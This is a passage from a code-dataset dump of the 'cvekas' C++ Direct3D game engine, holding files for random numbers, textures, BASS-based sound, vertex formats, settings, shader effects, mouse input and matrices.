active_effect;\r\n\tuint active_technique;\r\n\tuint active_pass;\r\n\r\n\tFrameStats stats;\r\n\tFrameStats last_stats;\r\n\r\n\t// Managers\r\n\tEffectManagerPtr effect_manager;\r\n\tGpuBufferManagerPtr gpu_buffer_manager;\r\n};\r\n\r\ntypedef boost::shared_ptr<Renderer> RendererPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.4888977110385895, "alphanum_fraction": 0.5182394981384277, "avg_line_length": 17.71875, "blob_id": "0826c14bb948a703533500930150881f71ba852c", "content_id": "836db9ff281d5641eb4ce573db7704735b8c45da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2522, "license_type": "no_license", "max_line_length": 64, "num_lines": 128, "path": "/source/Random.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Random.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nRandom::Random()\r\n{\r\n init((uint)time(0));\r\n}\r\n\r\nRandom::Random(uint seed)\r\n{\r\n init(seed);\r\n}\r\n\r\nuint Random::randUInt()\r\n{\r\n if(index >= n)\r\n update_state();\r\n\r\n uint result = state[index++];\r\n \r\n // Temper\r\n result ^= (result >> 11);\r\n result ^= (result << 7) & 0x9d2c5680UL;\r\n result ^= (result << 15) & 0xefc60000UL;\r\n result ^= (result >> 18);\r\n\r\n return result;\r\n}\r\n\r\nuint Random::randUInt(uint low, uint high)\r\n{\r\n assert(low < high);\r\n\r\n return low + randUInt() % (high - low);\r\n}\r\n\r\nint Random::randInt()\r\n{\r\n return int(randUInt());\r\n}\r\n\r\nint Random::randInt(int low, int high)\r\n{\r\n assert(low < high);\r\n\r\n return low + randUInt() % (high - low);\r\n}\r\n\r\nfloat Random::randFloat(float low, float high)\r\n{\r\n assert(low < high);\r\n\r\n // Random float in range [0, 1)\r\n float r = float(randUInt()) / (float(MAX_UINT32) + 1.0f);\r\n \r\n return low + r * (high - low);\r\n}\r\n\r\n// Box-muller transform based normal distribution\r\nfloat Random::normal()\r\n{\r\n static float cached = infinity;\r\n float result, r, t;\r\n\r\n if(cached != infinity)\r\n {\r\n result = cached;\r\n cached = infinity;\r\n return result;\r\n }\r\n\r\n r = sqrt(-2.0f * log(randFloat()));\r\n t = 2.0f * pi * randFloat();\r\n result = r * cos(t);\r\n cached = r * sin(t);\r\n return result;\r\n}\r\n\r\nfloat Random::normal(float mean, float variance)\r\n{\r\n assert(variance > 0.0f);\r\n\r\n return sqrt(variance) * normal() + mean;\r\n}\r\n\r\nvoid Random::init(uint seed)\r\n{\r\n state[0] = seed;\r\n for(index = 1; index < n; ++index)\r\n {\r\n uint t = (state[index-1] ^ (state[index-1] >> 30));\r\n state[index] = 1812433253UL * (t + index);\r\n }\r\n}\r\n\r\n// TODO: investigate if it's possible to do the same with 1 loop\r\nvoid Random::update_state()\r\n{\r\n int kk, y;\r\n \r\n const uint upper = 1UL << 31;\r\n const uint lower = ~upper;\r\n const uint matrix = 0x9908b0dfUL;\r\n\r\n for(kk = 0; kk < n - m; ++kk)\r\n {\r\n y = (state[kk] & upper) | (state[kk+1] & lower);\r\n state[kk] = state[kk + m] ^ (y >> 1); \r\n state[kk] ^= (y & 1) ? 0 : matrix;\r\n }\r\n\r\n for(; kk < n - 1; ++kk)\r\n {\r\n y = (state[kk] & upper) | (state[kk+1] & lower);\r\n state[kk] = state[kk + (m - n)] ^ (y >> 1);\r\n state[kk] ^= (y & 1) ? 0 : matrix;\r\n }\r\n \r\n y = (state[kk] & upper) | (state[0] & lower);\r\n state[kk] = state[kk + (m - n)] ^ (y >> 1);\r\n state[kk] ^= (y & 1) ? 0 : matrix;\r\n\r\n index = 0;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6984714865684509, "alphanum_fraction": 0.7068086862564087, "avg_line_length": 27.20270347595215, "blob_id": "30f1662c633e3857fbe52b4980e9fbfd45558601", "content_id": "cb0a357efc8c47a90a581c7f2e372920209ed025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2159, "license_type": "no_license", "max_line_length": 118, "num_lines": 74, "path": "/source/Texture2D.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TEXTURE2D_H\r\n#define TEXTURE2D_H\r\n\r\n#include \"BaseTexture.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass TextureManager;\r\n\r\n/// Two-dimensional texture\r\nclass Texture2D : public BaseTexture\r\n{\r\npublic:\r\n\t/// Constructor for loading texture from file. You shouldn't construct %Texture2D yourself, TextureManager does this.\r\n\tTexture2D(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename, D3DFORMAT format,\r\n\t\tbool pow_of2, bool lockable, bool gen_mipmaps);\r\n \r\n\t/// Constructor for creating empty texture. You shouldn't construct %Texture2D yourself, TextureManager does this.\r\n\tTexture2D(ResourceId id, D3DDevicePtr device, const std::string& name, unsigned int width, unsigned int height, \r\n\t\tD3DFORMAT format, bool gen_mipmaps, bool dynamic);\r\n\r\n\t/// Constructor for use in RenderTarget, because it sets all the properties itself.\r\n\t/// Don't ever use this!\r\n\tTexture2D(ResourceId id, D3DDevicePtr device, const std::string& name, D3DFORMAT format) \r\n\t\t: BaseTexture(id, device, name, format), filename(\"\") \r\n\t{};\r\n\r\n\t/// Destructor\r\n\tvirtual ~Texture2D();\r\n\r\n /// Can this texture be locked?\r\n\tbool isLockable() const;\r\n\t/// Is texture locked?\r\n bool isLocked() const;\r\n\t/// Is texture dynamic?\r\n\tbool isDynamic() const;\r\n\r\n\t/// Locks texture. Throws Exception if texture is already locked.\r\n\t/// \\param read_only Pass true if no writing to locked buffer will be done, it improves performance.\r\n\tLockedTexture lock(bool read_only);\r\n\t/// Unlocks locked texture. Throws Exception if texture is not locked.\r\n\tvoid unlock();\r\n \r\n /// Returns name of file from which texture was loaded or empty string if texture was not loaded from file.\r\n\tconst std::string& getFilename() const;\r\n\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceReset();\r\n\r\nprivate:\r\n\tvoid load();\r\n\tvoid create();\r\n\r\nprotected:\r\n bool is_locked;\r\n\tbool is_lockable;\r\n\tbool is_dynamic;\r\n \r\n\tconst std::string filename;\r\n\r\n\tuint width;\r\n\tuint height;\r\n\tuint mipmaps;\r\n\tDWORD usage;\r\n\r\n};\r\n\r\ntypedef boost::shared_ptr<Texture2D> Texture2DPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6685975790023804, "alphanum_fraction": 0.6789634227752686, "avg_line_length": 21.098590850830078, "blob_id": "f3cf32ee4acbb1d3e4199e2f1dcf337a31cfc151", "content_id": "de40ce0ab80a023ba9dccba2efad14ebab395da4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3280, "license_type": "no_license", "max_line_length": 93, "num_lines": 142, "path": "/source/Sound.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Sound.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: error checking in pause/stop\r\n// TODO: fix looping\r\n\r\nSoundSample::SoundSample(const std::string &name, ResourceId id, const std::string &filename)\r\n\t: Sound(name, id, filename), last_channel(NULL), start_pos(-1.0f)\r\n{\r\n\tLOG(FORMAT(\"Loading sound sample %s from file %s\", % name % filename)); \r\n\r\n\t// Support 8 max simultaneos playbacks\r\n\thandle = BASS_SampleLoad(false, filename.c_str(), 0, 0, 8, 0);\r\n\r\n\tif(!handle)\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to load sound sample %s. BASS error code: %d\",\r\n\t\t\t% name % BASS_ErrorGetCode()));\r\n}\r\n\r\nSoundSample::~SoundSample()\r\n{\r\n\tLOG(FORMAT(\"Destroying sound sample %s\", % name));\r\n\r\n\tif(!BASS_SampleFree(handle))\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to destroy sound sample %s. BASS error code: %d\",\r\n\t\t\t% name % BASS_ErrorGetCode()));\r\n}\r\n\r\nvoid SoundSample::play(bool loop)\r\n{\r\n\tlast_channel = BASS_SampleGetChannel(handle, false);\r\n\t\r\n\tif(start_pos > 0.0f)\r\n\t{\r\n\t\tsetPosition(start_pos);\r\n\t\tstart_pos = -1.0f;\r\n\t}\r\n\r\n\tBASS_ChannelPlay(last_channel, false);\r\n}\r\n\r\nvoid SoundSample::stop()\r\n{\r\n\tif(!last_channel)\r\n\t\treturn;\r\n\r\n\tBASS_ChannelStop(last_channel);\r\n}\r\n\r\nvoid SoundSample::pause()\r\n{\r\n\tif(!last_channel)\r\n\t\treturn;\r\n\r\n\tBASS_ChannelPause(last_channel);\r\n}\r\n\r\nfloat SoundSample::getLength()\r\n{\r\n\tuint64 length = BASS_ChannelGetLength(handle, BASS_POS_BYTE);\r\n\treturn (float)BASS_ChannelBytes2Seconds(handle, length);\r\n}\r\n\r\nfloat SoundSample::getPosition()\r\n{\r\n\tif(!last_channel)\r\n\t\treturn 0.0f;\r\n\r\n\tuint64 pos = BASS_ChannelGetPosition(last_channel, BASS_POS_BYTE);\r\n\treturn (float)BASS_ChannelBytes2Seconds(handle, pos);\r\n}\r\n\r\nvoid SoundSample::setPosition(float t)\r\n{\r\n\tif(!last_channel)\r\n\t\tstart_pos = t;\r\n\r\n\tuint64 pos = BASS_ChannelSeconds2Bytes(handle, (double)t);\r\n\tBASS_ChannelSetPosition(last_channel, pos, BASS_POS_BYTE);\r\n}\r\n\r\n\r\nSoundStream::SoundStream(const std::string &name, ResourceId id, const std::string &filename)\r\n\t: Sound(name, id, filename)\r\n{\r\n\tLOG(FORMAT(\"Loading sound stream %s from file %s\", % name % filename)); \r\n\r\n\thandle = BASS_StreamCreateFile(false, filename.c_str(), 0, 0, 0);\r\n\tif(!handle)\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to load sound stream %s. BASS error code: %d\",\r\n\t\t\t% name % BASS_ErrorGetCode()));\r\n}\r\n\r\nSoundStream::~SoundStream()\r\n{\r\n\tstop();\r\n\tLOG(FORMAT(\"Destroying sound stream %s\", % name));\r\n\r\n\tif(!BASS_StreamFree(handle))\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to destroy sound stream %s. BASS error code: %d\",\r\n\t\t\t% name % BASS_ErrorGetCode()));\r\n}\r\n\r\nvoid SoundStream::play(bool loop)\r\n{\r\n\tBASS_ChannelPlay(handle, false);\r\n}\r\n\r\nvoid SoundStream::stop()\r\n{\r\n\tBASS_ChannelStop(handle);\r\n}\r\n\r\nvoid SoundStream::pause()\r\n{\r\n\tBASS_ChannelPause(handle);\r\n}\r\n\r\nfloat SoundStream::getLength()\r\n{\r\n\tuint64 length = BASS_ChannelGetLength(handle, BASS_POS_BYTE);\r\n\treturn (float)BASS_ChannelBytes2Seconds(handle, length);\r\n}\r\n\r\nfloat SoundStream::getPosition()\r\n{\r\n\tuint64 pos = BASS_ChannelGetPosition(handle, BASS_POS_BYTE);\r\n\treturn (float)BASS_ChannelBytes2Seconds(handle, pos);\r\n}\r\n\r\nvoid SoundStream::setPosition(float t)\r\n{\r\n\tuint64 pos = BASS_ChannelSeconds2Bytes(handle, (double)t);\r\n\tBASS_ChannelSetPosition(handle, pos, BASS_POS_BYTE);\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.6981059312820435, "avg_line_length": 28.104650497436523, "blob_id": "1402834daf9224f1e2acbf3dab7ab96667b1a8ed", "content_id": "a7d61432a10ce0e0f877b513e13c6f6fced29d0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2587, "license_type": "no_license", "max_line_length": 88, "num_lines": 86, "path": "/source/VertexFormat.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VERTEXFORMAT_H\r\n#define VERTEXFORMAT_H\r\n\r\n#include \"Exception.h\"\r\n#include \"Log.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n#include \"CommonTypes.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Helper for calculating Direct3D vertex formats\r\nclass VertexFormat\r\n{\r\npublic:\r\n\t/// Default constructor\r\n\tVertexFormat();\r\n\t/// Constructor\r\n\tVertexFormat(bool position, uint uvs = 0, bool normal = false, bool binormal = false, \r\n\t\tbool tangent = false, bool color = false);\r\n\t/// Destructor\r\n\t~VertexFormat();\r\n\r\n\t/// Returns true if format has position component. This should always be true.\r\n\tbool getPosition() const { return has_position; }\r\n\t/// Returns number of UV coordinates in format.\r\n\tuint getUVs() const { return number_of_uvs; }\r\n\t/// Returns true if format has normal component.\r\n\tbool getNormal() const { return has_normal; }\r\n\t/// Returns true if format has binormal component.\r\n\tbool getBinormal() const { return has_binormal; }\r\n\t/// Returns true if format has tangent component.\r\n\tbool getTangent() const { return has_tangent; }\t\r\n\t/// Returns true if format has color component.\r\n\tbool getColor() const { return has_color; }\r\n\r\n\t/// Sets availibility of position component.\r\n\tbool setPosition(bool position) { has_position = position; needs_rebuild = true; }\r\n\t\r\n\t/// Sets number of UV coordinates\r\n\tint setUVs(int uvs) \r\n\t{ \r\n\t\tif(uvs >= 0 && uvs <= 8) \r\n\t\t{ \r\n\t\t\tnumber_of_uvs = uvs; \r\n\t\t\tneeds_rebuild = true; \r\n\t\t} \r\n\t\telse\r\n\t\t{ \r\n\t\t\tthrow EXCEPTION(\"Number of UVs must be between 0 and 8\");\r\n\t\t}\r\n\t}\r\n\r\n\t/// Sets availibility of normal component.\r\n\tbool setNormal(bool normal) { has_normal = normal; needs_rebuild = true; }\r\n\t/// Sets availibility of binormal component.\r\n\tbool setBinormal(bool binormal) { has_binormal = binormal; needs_rebuild = true; }\r\n\t/// Sets availibility of tangent component.\r\n\tbool setTangent(bool tangent) { has_tangent = tangent; needs_rebuild = true; }\r\n\t/// Sets availibility of color component.\r\n\tbool setColor(bool color) { has_color = color; needs_rebuild = true; }\r\n\t\r\n\t/// Returns size in bytes of single vertex with this format.\r\n\tuint getSize() const;\r\n\t/// Returns number of elements in format.\r\n\tuint getNumberOfElements() const;\r\n\t/// Returns pointer to IDirect3DVertexDeclaration9\r\n\tIDirect3DVertexDeclaration9* getD3DVertexDeclaration(D3DDevicePtr device, uint stream);\r\n\r\nprivate:\r\n\tbool has_position;\r\n\tuint number_of_uvs;\r\n\tbool has_normal;\r\n\tbool has_binormal;\r\n\tbool has_tangent;\r\n\tbool has_color;\r\n\r\n\tbool needs_rebuild;\r\n\tIDirect3DVertexDeclaration9* declaration;\r\n\r\n\tD3DDevicePtr last_device;\r\n};\r\n\r\n}\r\n\r\n#endif" }, { "alpha_fraction": 0.7011813521385193, "alphanum_fraction": 0.7011813521385193, "avg_line_length": 25.428571701049805, "blob_id": "f0419cef2ee2a804a2fef5abd8a5c4fe6769025d", "content_id": "e9de9bc32ce68839c664f60b7336b38313abef1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2878, "license_type": "no_license", "max_line_length": 101, "num_lines": 105, "path": "/source/Settings.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SETTINGS_H\r\n#define SETTINGS_H\r\n\r\n#include \"MML.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Wrapper for setting value with easy assignment and type casting\r\nclass SettingValue\r\n{\r\npublic:\r\n\tSettingValue() {};\r\n\tSettingValue(const std::string& value) : value(value) {};\r\n\tSettingValue(const SettingValue& s) : value(s.value) {};\r\n\r\n\ttemplate <typename T>\r\n\tSettingValue& operator=(const T& new_value)\r\n\t{\r\n\t\tvalue = boost::lexical_cast<std::string>(new_value);\r\n\t\treturn *this;\r\n\t}\r\n\r\n\ttemplate <typename T>\r\n\toperator T() const\r\n\t{\r\n\t\treturn boost::lexical_cast<T>(value);\r\n\t}\r\nprivate:\r\n\tstd::string value;\r\n};\r\n\r\n/// Name-value pair container with easy serialization to MML\r\nclass SettingsGroup\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tSettingsGroup(const std::string& name, const std::string& filename = \"\");\r\n\r\n\t/// Copy constructor\r\n\tSettingsGroup(const SettingsGroup& group) \r\n\t\t: name(group.name), filename(group.filename), settings(group.settings) {};\r\n\r\n\t/// Destructor\r\n\tvirtual ~SettingsGroup() {};\r\n\r\n\t/// Reads settings from MMLNode. All existing settings are overwritten.\r\n\t/// \\param mml MMLNode to parse from\r\n\tvoid deserialize(const MMLNode& mml);\r\n\r\n\t/// Puts all settings into MMLNode for easy saving\r\n\tMMLNode serialize() const;\r\n\r\n\t/// Returns reference to existing setting.\r\n\t/// \\param name Name of setting\r\n\tvirtual SettingValue& operator[](const std::string& name);\r\n\r\nprotected:\r\n\tstd::string name;\r\n\tstd::string filename;\r\n\r\n\tstd::map<std::string, SettingValue> settings;\r\n\r\n\tfriend class Settings;\r\n};\r\n\r\n/// Provides centralized access to all SettingGroups used by application\r\nclass Settings : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tSettings() {};\r\n\r\n\t/// Constructor. Loads groups from provided file\r\n\t/// \\param filename Name of file containing one or more serialized SettingsGroups \r\n\tSettings(const std::string& filename);\r\n\r\n\t/// Destructor\r\n\tvirtual ~Settings() {};\r\n\r\n\t/// Reads groups from provided file. Already existing groups are overwritten!\r\n\t/// \\param filename Name of file containing one or more serialized SettingsGroups\r\n\tvoid load(const std::string& filename);\r\n\t\r\n\t/// Saves group to its file. If file contains multiple groups those are saved as well.\r\n\t/// \\param group_name Name of group to save\r\n\tvoid save(const std::string& group_name);\r\n\r\n\t/// Registers new group for managing. \r\n\t/// \\param name Name of new group. Must be unique, exception will be thrown if name is already used.\r\n\t/// \\param group New group\r\n\tvoid insert(const std::string& name, const SettingsGroup& group);\r\n\r\n\t/// Returns reference to existing group. Throws exception if there is no such name.\r\n\t/// \\param group_name Name of existing group\r\n\tSettingsGroup& operator[](const std::string& group_name);\r\n\r\nprivate:\r\n\tstd::map<std::string, SettingsGroup> groups;\r\n};\r\n\r\ntypedef boost::shared_ptr<Settings> SettingsPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6748597025871277, "alphanum_fraction": 0.6793110370635986, "avg_line_length": 21.1704044342041, "blob_id": "0437cc8f8f91df9396c45d7c150c21517a72a3ae", "content_id": "b48bad7b6024d15860113354ea42c019cda19745", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5167, "license_type": "no_license", "max_line_length": 122, "num_lines": 223, "path": "/source/Effect.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Effect.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nEffect::Effect(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename)\r\n\t:\r\nResource(name, id),\r\ndevice(device)\r\n{\r\n\tDWORD flags = D3DXFX_NOT_CLONEABLE;\r\n#ifdef _DEBUG\r\n\tflags |= D3DXSHADER_DEBUG;\r\n#endif\r\n\t\r\n\tID3DXBuffer* errors;\r\n\r\n\tLOG(FORMAT(\"Compiling effect %s from file %s ...\", % name % filename));\r\n\r\n\tbool result = E_B(D3DXCreateEffectFromFile(device.get(), filename.c_str(), NULL, NULL, flags, NULL, &effect, &errors));\t\t\r\n\t\r\n\tif(errors && errors->GetBufferSize() > 1)\r\n\t{\r\n\t\tstd::string msg = \"\";\r\n\t\tconst char* error = reinterpret_cast<const char*>(errors->GetBufferPointer());\r\n\t\tmsg += error;\r\n\t\tLOG(msg);\r\n\t\t\r\n\t\tthrow EXCEPTION(\"Unable to compile effect\");\r\n\t}\r\n\r\n\tif(!result)\r\n\t\tthrow EXCEPTION(\"Unable to compile effect\");\r\n\r\n\tis_ready = true;\r\n\r\n\tauto_params = EffectParamsPtr(new EffectParams(this));\r\n\r\n\tsetUpAutoParams();\r\n}\r\n\r\n/*\r\nEffect::Effect(ResourceId id, DevicePtr _device, const std::string& name, const char* effect)\r\n\t:\r\nResource(name, id),\r\ndevice(_device)\r\n{\r\n\tDWORD flags = D3DXFX_NOT_CLONEABLE;\r\n#ifdef _DEBUG\r\n\tflags |= D3DXSHADER_DEBUG;\r\n#endif\r\n\t\r\n\tID3DXBuffer* errors;\r\n\r\n\tLOG(str(boost::format(\"Compiling effect %s ...\") % name));\r\n\r\n\tbool result = E_B(D3DXCreateEffect(device.get(), reinterpret_cast<LPCVOID>(effect.c_str()), effect.length(), \r\n\t\tNULL, NULL, flags, NULL, &effect, &errors);\r\n\t\r\n\tif(errors && errors->GetBufferSize() > 1)\r\n\t{\r\n\t\tstd::string msg = \"\";\r\n\t\tconst char* error = reinterpret_cast<const char*>(errors->GetBufferPointer());\r\n\t\tLOG(msg);\r\n\t\t\r\n\t\tthrow EXCEPTION(\"Unable to compile effect\");\r\n\t}\r\n\r\n\tif(!result)\r\n\t\tthrow EXCEPTION(\"Unable to compile effect\");\r\n}\r\n*/\r\n\r\nEffect::~Effect()\r\n{\r\n\tsafeRelease(effect);\r\n\tis_ready = false;\r\n\tLOG(FORMAT(\"Effect %s released\", % name));\r\n}\r\n\r\nParamHandle Effect::getParamByName(const std::string& name)\r\n{\r\n\treturn (ParamHandle)effect->GetParameterByName(NULL, name.c_str());\r\n}\r\n\r\nParamHandle Effect::getParamBySemantic(const std::string& semantic)\r\n{\r\n\treturn (ParamHandle)effect->GetParameterBySemantic(NULL, semantic.c_str());\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, bool value)\r\n{\r\n\tE_E(effect->SetBool((D3DXHANDLE)handle, value));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, float value)\r\n{\r\n\tE_E(effect->SetFloat((D3DXHANDLE)handle, value));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, int value)\r\n{\r\n\tE_E(effect->SetInt((D3DXHANDLE)handle, value));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, const Matrix& value)\r\n{\r\n\tE_E(effect->SetMatrix((D3DXHANDLE)handle, &value));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, TexturePtr value)\r\n{\r\n\tE_E(effect->SetTexture((D3DXHANDLE)handle, value->getD3DTexture()));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, const Vector4& value)\r\n{\r\n\tE_E(effect->SetVector((D3DXHANDLE)handle, &value));\r\n}\r\n\r\nvoid Effect::setParamValue(ParamHandle handle, const void* ptr, uint size)\r\n{\r\n\tE_E(effect->SetValue(handle, ptr, size));\r\n}\r\n\r\nunsigned int Effect::begin()\r\n{\r\n\tuint passes;\r\n\tE_E(effect->Begin(&passes, 0));\r\n\treturn passes;\r\n}\r\n\r\nvoid Effect::end()\r\n{\r\n\tE_E(effect->End());\r\n}\r\n\r\nvoid Effect::beginPass(uint pass)\r\n{\r\n\tE_E(effect->BeginPass(pass));\r\n}\r\n\r\nvoid Effect::endPass()\r\n{\r\n\tE_E(effect->EndPass());\r\n}\r\n\r\nvoid Effect::setTechnique(uint index)\r\n{\r\n\tD3DXHANDLE technique_handle = effect->GetTechnique(index);\r\n\tE_E(effect->SetTechnique(technique_handle));\r\n}\r\n\r\nvoid Effect::commitChanges()\r\n{\r\n\tE_E(effect->CommitChanges());\r\n}\r\n\r\nvoid Effect::applyAutoParams()\r\n{\r\n\tauto_params->applyParams();\r\n}\r\n\r\nID3DXEffect* Effect::getD3DXEffect()\r\n{\r\n\tif(is_ready)\r\n\t\treturn effect;\r\n\telse\r\n\t\tthrow EXCEPTION(\"Effect is not ready for usage\");\r\n}\r\n\r\nvoid Effect::onDeviceLost()\r\n{\r\n\tE_E(effect->OnLostDevice());\r\n\tis_ready = false;\r\n}\r\n\r\nvoid Effect::onDeviceReset()\r\n{\r\n\tE_E(effect->OnResetDevice());\r\n\tis_ready = true;\r\n}\r\n\r\n#define AUTO_PARAM(semantic, value) \\\r\n{ \\\r\n\tParamHandle handle = getParamBySemantic(semantic); \\\r\n\tif(handle) auto_params->addDynamic(handle, &value); \\\r\n}\r\n\r\nvoid Effect::setUpAutoParams()\r\n{\r\n\tEngine e;\r\n\tRenderingParams& render_params = e.getVideoDevice()->getRenderingParams();\r\n\r\n\tAUTO_PARAM(\"WORLD\", render_params.world);\r\n\tAUTO_PARAM(\"VIEW\", render_params.view);\r\n\tAUTO_PARAM(\"PROJECTION\", render_params.projection);\r\n\tAUTO_PARAM(\"WORLD_VIEW\", render_params.world_view);\r\n\tAUTO_PARAM(\"VIEW_PROJECTION\", render_params.view_projection);\r\n\tAUTO_PARAM(\"WORLD_VIEW_PROJECTION\", render_params.world_view_projection);\r\n\r\n\tAUTO_PARAM(\"CAMERA_POS\", render_params.camera_pos);\r\n\tAUTO_PARAM(\"CAMERA_DIR\", render_params.camera_dir);\r\n\tAUTO_PARAM(\"CAMERA_UP\", render_params.camera_up);\r\n\r\n\tAUTO_PARAM(\"RT_SIZE\", render_params.rendertarget_size);\r\n\r\n\tAUTO_PARAM(\"PROJECTION_FOV\", render_params.projection_fov);\r\n\tAUTO_PARAM(\"CLIP_NEAR\", render_params.clip_near);\r\n\tAUTO_PARAM(\"CLIP_FAR\", render_params.clip_far);\r\n\r\n\tAUTO_PARAM(\"TIME\", render_params.time);\r\n\r\n\tAUTO_PARAM(\"PASS\", render_params.pass);\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.6741293668746948, "alphanum_fraction": 0.6791045069694519, "avg_line_length": 21.33333396911621, "blob_id": "c884c8edbefa2c287741de993d8e2f2a3a66bc42", "content_id": "021eb0a014b44b1b69a10be62f4782372ce88cba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1608, "license_type": "no_license", "max_line_length": 96, "num_lines": 69, "path": "/source/Mouse.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MOUSE_H\r\n#define MOUSE_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// Represents mouse position in screen coordinates\r\nstruct MousePos\r\n{\r\n\tint x, y;\r\n\tMousePos() : x(0), y(0) {}\r\n\tMousePos(int x, int y) : x(x), y(y) {}\r\n};\r\n\r\n/// %Mouse\r\nclass Mouse : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Enumeration of supported mouse buttons\r\n\tenum MouseButton\r\n\t{\r\n\t\tBTN_LEFT = 0,\r\n\t\tBTN_RIGHT = 1,\r\n\t\tBTN_MIDDLE = 2\r\n\t};\r\n\r\n\t/// Constructor. You shouldn't call this, Input will provide access to Mouse\r\n\tMouse();\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~Mouse();\r\n\r\n\t/// Refreshes mouse data. Must be called each frame\r\n\tvoid update();\r\n\r\n\t/// Returns true if MouseButton is being held down\r\n\tbool isButtonPressed(MouseButton b) const;\r\n\t/// Returns true if MouseButton was released\r\n\tbool isButtonUp(MouseButton b) const;\r\n\t/// Returns true if MouseButton was pressed\r\n\tbool isButtonDown(MouseButton b) const;\r\n\r\n\t/// Returns absolute mouse position. You can clamp return values by calling setAbsoluteBounds()\r\n\tMousePos getAbsolutePos() const;\r\n\t\t\t\r\n\t// TODO: Implement mouse wheel\r\n\t/// Returns relative mouse wheel movement\r\n\tint getRelativeWheel() const;\r\n\r\n\t/// Sets virtual resolution\r\n\tvoid setVirtualResolution(uint width, uint height) {v_width = width; v_height = height;};\r\n\r\n\t/// See Input::process()\r\n\tbool process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);\r\n\r\nprivate:\t\t\r\n\tbool mouse[3];\r\n\tbool mouse_current[3];\r\n\tbool mouse_last[3];\r\n\r\n\tMousePos mouse_pos, mouse_pos_old;\r\n\tuint v_width, v_height;\r\n\tuint r_width, r_height;\r\n};\r\n\r\ntypedef boost::shared_ptr<Mouse> MousePtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5592851042747498, "alphanum_fraction": 0.6159546375274658, "avg_line_length": 23.797752380371094, "blob_id": "a3e283957ba31ac79d78fef40233085fc942ce94", "content_id": "c6dad39945f523685ed9f10d6709604ff435d882", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2294, "license_type": "no_license", "max_line_length": 93, "num_lines": 89, "path": "/source/Matrix.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MATRIX_H\r\n#define MATRIX_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// 4x4 %Matrix\r\nclass Matrix : public D3DXMATRIX\r\n{\r\npublic:\r\n\tMatrix();\r\n\tMatrix( const float* f );\r\n\tMatrix( const D3DXFLOAT16* f );\r\n\tMatrix( const D3DMATRIX& m );\r\n\tMatrix( const D3DXMATRIX& m );\r\n\tMatrix( float _11, float _12, float _13, float _14,\r\n float _21, float _22, float _23, float _24,\r\n float _31, float _32, float _33, float _34,\r\n float _41, float _42, float _43, float _44 );\r\n\r\n\toperator D3DXMATRIX&();\r\n operator const D3DXMATRIX&() const;\r\n\r\n\tvoid transpose()\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixTranspose(&m, this);\r\n\t\t*this = m;\r\n\t}\r\n\r\n\tstatic Matrix translate(const Vector3& translate)\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixTranslation(&m, translate.x, 